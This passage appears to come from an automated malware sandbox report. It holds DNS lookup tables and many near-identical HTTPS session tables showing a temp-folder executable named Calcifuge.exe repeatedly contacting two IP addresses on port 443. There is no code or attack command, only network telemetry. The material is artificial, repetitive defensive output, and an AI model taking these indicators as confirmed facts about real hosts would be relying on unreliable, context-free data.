| Jan 11, 2025 03:52:31.949315071 CET | 53 | 52160 | 162.159.36.2 | 192.168.2.4 |
| Jan 11, 2025 03:52:32.471029997 CET | 53 | 54999 | 1.1.1.1 | 192.168.2.4 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Jan 11, 2025 03:52:29.542167902 CET | 192.168.2.4 | 1.1.1.1 | 0x374 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Jan 11, 2025 03:52:30.619851112 CET | 192.168.2.4 | 1.1.1.1 | 0x2e7a | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Jan 11, 2025 03:52:29.549182892 CET | 1.1.1.1 | 192.168.2.4 | 0x374 | No error (0) | 172.217.16.206 | A (IP address) | IN (0x0001) | false | ||
| Jan 11, 2025 03:52:30.627826929 CET | 1.1.1.1 | 192.168.2.4 | 0x2e7a | No error (0) | 172.217.16.129 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.4 | 49736 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:30 UTC | 216 | OUT | |
| 2025-01-11 02:52:30 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.4 | 49737 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:31 UTC | 258 | OUT | |
| 2025-01-11 02:52:31 UTC | 2229 | IN | |
| 2025-01-11 02:52:31 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.4 | 49738 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:32 UTC | 428 | OUT | |
| 2025-01-11 02:52:32 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 3 | 192.168.2.4 | 53459 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:33 UTC | 470 | OUT | |
| 2025-01-11 02:52:33 UTC | 1844 | IN | |
| 2025-01-11 02:52:33 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 4 | 192.168.2.4 | 53460 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:34 UTC | 428 | OUT | |
| 2025-01-11 02:52:35 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 5 | 192.168.2.4 | 53461 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:35 UTC | 470 | OUT | |
| 2025-01-11 02:52:36 UTC | 1844 | IN | |
| 2025-01-11 02:52:36 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 6 | 192.168.2.4 | 53462 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:37 UTC | 428 | OUT | |
| 2025-01-11 02:52:37 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 7 | 192.168.2.4 | 53463 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:38 UTC | 470 | OUT | |
| 2025-01-11 02:52:38 UTC | 1851 | IN | |
| 2025-01-11 02:52:38 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 8 | 192.168.2.4 | 53464 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:39 UTC | 428 | OUT | |
| 2025-01-11 02:52:39 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 9 | 192.168.2.4 | 53465 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:40 UTC | 470 | OUT | |
| 2025-01-11 02:52:40 UTC | 1844 | IN | |
| 2025-01-11 02:52:40 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 10 | 192.168.2.4 | 53466 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:41 UTC | 428 | OUT | |
| 2025-01-11 02:52:42 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 11 | 192.168.2.4 | 53467 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:42 UTC | 470 | OUT | |
| 2025-01-11 02:52:43 UTC | 1851 | IN | |
| 2025-01-11 02:52:43 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 12 | 192.168.2.4 | 53468 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:43 UTC | 428 | OUT | |
| 2025-01-11 02:52:44 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 13 | 192.168.2.4 | 53469 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:45 UTC | 470 | OUT | |
| 2025-01-11 02:52:45 UTC | 1844 | IN | |
| 2025-01-11 02:52:45 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 14 | 192.168.2.4 | 53471 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:46 UTC | 428 | OUT | |
| 2025-01-11 02:52:46 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 15 | 192.168.2.4 | 53477 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:47 UTC | 470 | OUT | |
| 2025-01-11 02:52:47 UTC | 1844 | IN | |
| 2025-01-11 02:52:47 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 16 | 192.168.2.4 | 53484 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:48 UTC | 428 | OUT | |
| 2025-01-11 02:52:49 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 17 | 192.168.2.4 | 53494 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:49 UTC | 470 | OUT | |
| 2025-01-11 02:52:50 UTC | 1844 | IN | |
| 2025-01-11 02:52:50 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 18 | 192.168.2.4 | 53500 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:50 UTC | 428 | OUT | |
| 2025-01-11 02:52:51 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 19 | 192.168.2.4 | 53511 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:51 UTC | 470 | OUT | |
| 2025-01-11 02:52:52 UTC | 1851 | IN | |
| 2025-01-11 02:52:52 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 20 | 192.168.2.4 | 53518 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:53 UTC | 428 | OUT | |
| 2025-01-11 02:52:53 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 21 | 192.168.2.4 | 53527 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:54 UTC | 470 | OUT | |
| 2025-01-11 02:52:54 UTC | 1851 | IN | |
| 2025-01-11 02:52:54 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 22 | 192.168.2.4 | 53534 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:55 UTC | 428 | OUT | |
| 2025-01-11 02:52:55 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 23 | 192.168.2.4 | 53544 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:56 UTC | 470 | OUT | |
| 2025-01-11 02:52:56 UTC | 1851 | IN | |
| 2025-01-11 02:52:56 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 24 | 192.168.2.4 | 53551 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:57 UTC | 428 | OUT | |
| 2025-01-11 02:52:58 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 25 | 192.168.2.4 | 53561 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:58 UTC | 470 | OUT | |
| 2025-01-11 02:52:59 UTC | 1851 | IN | |
| 2025-01-11 02:52:59 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 26 | 192.168.2.4 | 53568 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:52:59 UTC | 428 | OUT | |
| 2025-01-11 02:53:00 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 27 | 192.168.2.4 | 53578 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:01 UTC | 470 | OUT | |
| 2025-01-11 02:53:01 UTC | 1844 | IN | |
| 2025-01-11 02:53:01 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 28 | 192.168.2.4 | 53585 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:02 UTC | 428 | OUT | |
| 2025-01-11 02:53:02 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 29 | 192.168.2.4 | 53595 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:03 UTC | 470 | OUT | |
| 2025-01-11 02:53:03 UTC | 1844 | IN | |
| 2025-01-11 02:53:03 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 30 | 192.168.2.4 | 53602 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:04 UTC | 428 | OUT | |
| 2025-01-11 02:53:04 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 31 | 192.168.2.4 | 53609 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:05 UTC | 470 | OUT | |
| 2025-01-11 02:53:06 UTC | 1851 | IN | |
| 2025-01-11 02:53:06 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 32 | 192.168.2.4 | 53618 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:06 UTC | 428 | OUT | |
| 2025-01-11 02:53:07 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 33 | 192.168.2.4 | 53626 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:07 UTC | 470 | OUT | |
| 2025-01-11 02:53:08 UTC | 1844 | IN | |
| 2025-01-11 02:53:08 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 34 | 192.168.2.4 | 53635 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:09 UTC | 428 | OUT | |
| 2025-01-11 02:53:09 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 35 | 192.168.2.4 | 53643 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:10 UTC | 470 | OUT | |
| 2025-01-11 02:53:10 UTC | 1844 | IN | |
| 2025-01-11 02:53:10 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 36 | 192.168.2.4 | 53650 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:11 UTC | 428 | OUT | |
| 2025-01-11 02:53:11 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 37 | 192.168.2.4 | 53659 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:12 UTC | 470 | OUT | |
| 2025-01-11 02:53:12 UTC | 1851 | IN | |
| 2025-01-11 02:53:12 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 38 | 192.168.2.4 | 53666 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:13 UTC | 428 | OUT | |
| 2025-01-11 02:53:14 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 39 | 192.168.2.4 | 53675 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:14 UTC | 470 | OUT | |
| 2025-01-11 02:53:15 UTC | 1851 | IN | |
| 2025-01-11 02:53:15 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 40 | 192.168.2.4 | 53683 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:15 UTC | 428 | OUT | |
| 2025-01-11 02:53:16 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 41 | 192.168.2.4 | 53691 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:17 UTC | 470 | OUT | |
| 2025-01-11 02:53:17 UTC | 1844 | IN | |
| 2025-01-11 02:53:17 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 42 | 192.168.2.4 | 53700 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:18 UTC | 428 | OUT | |
| 2025-01-11 02:53:18 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 43 | 192.168.2.4 | 53708 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:19 UTC | 470 | OUT | |
| 2025-01-11 02:53:19 UTC | 1851 | IN | |
| 2025-01-11 02:53:19 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 44 | 192.168.2.4 | 53716 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:20 UTC | 428 | OUT | |
| 2025-01-11 02:53:20 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 45 | 192.168.2.4 | 53722 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:21 UTC | 470 | OUT | |
| 2025-01-11 02:53:22 UTC | 1851 | IN | |
| 2025-01-11 02:53:22 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 46 | 192.168.2.4 | 53727 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:22 UTC | 428 | OUT | |
| 2025-01-11 02:53:23 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 47 | 192.168.2.4 | 53733 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:23 UTC | 470 | OUT | |
| 2025-01-11 02:53:24 UTC | 1851 | IN | |
| 2025-01-11 02:53:24 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 48 | 192.168.2.4 | 53740 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:25 UTC | 428 | OUT | |
| 2025-01-11 02:53:25 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 49 | 192.168.2.4 | 53749 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:26 UTC | 470 | OUT | |
| 2025-01-11 02:53:26 UTC | 1851 | IN | |
| 2025-01-11 02:53:26 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 50 | 192.168.2.4 | 53757 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:27 UTC | 428 | OUT | |
| 2025-01-11 02:53:27 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 51 | 192.168.2.4 | 53763 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:28 UTC | 470 | OUT | |
| 2025-01-11 02:53:28 UTC | 1851 | IN | |
| 2025-01-11 02:53:28 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 52 | 192.168.2.4 | 53773 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:29 UTC | 428 | OUT | |
| 2025-01-11 02:53:30 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 53 | 192.168.2.4 | 53774 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:30 UTC | 470 | OUT | |
| 2025-01-11 02:53:31 UTC | 1851 | IN | |
| 2025-01-11 02:53:31 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 54 | 192.168.2.4 | 53775 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:32 UTC | 428 | OUT | |
| 2025-01-11 02:53:32 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 55 | 192.168.2.4 | 53776 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:33 UTC | 470 | OUT | |
| 2025-01-11 02:53:33 UTC | 1844 | IN | |
| 2025-01-11 02:53:33 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 56 | 192.168.2.4 | 53777 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:34 UTC | 428 | OUT | |
| 2025-01-11 02:53:34 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 57 | 192.168.2.4 | 53778 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:35 UTC | 470 | OUT | |
| 2025-01-11 02:53:35 UTC | 1844 | IN | |
| 2025-01-11 02:53:35 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 58 | 192.168.2.4 | 53779 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:36 UTC | 428 | OUT | |
| 2025-01-11 02:53:37 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 59 | 192.168.2.4 | 53780 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:37 UTC | 470 | OUT | |
| 2025-01-11 02:53:38 UTC | 1851 | IN | |
| 2025-01-11 02:53:38 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 60 | 192.168.2.4 | 53781 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:39 UTC | 428 | OUT | |
| 2025-01-11 02:53:39 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 61 | 192.168.2.4 | 53782 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:40 UTC | 470 | OUT | |
| 2025-01-11 02:53:40 UTC | 1851 | IN | |
| 2025-01-11 02:53:40 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 62 | 192.168.2.4 | 53783 | 172.217.16.206 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:41 UTC | 428 | OUT | |
| 2025-01-11 02:53:41 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 63 | 192.168.2.4 | 53784 | 172.217.16.129 | 443 | 7824 | C:\Users\user\AppData\Local\Temp\Calcifuge.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-11 02:53:42 UTC | 470 | OUT | |
| 2025-01-11 02:53:42 UTC | 1851 | IN | |
| 2025-01-11 02:53:42 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
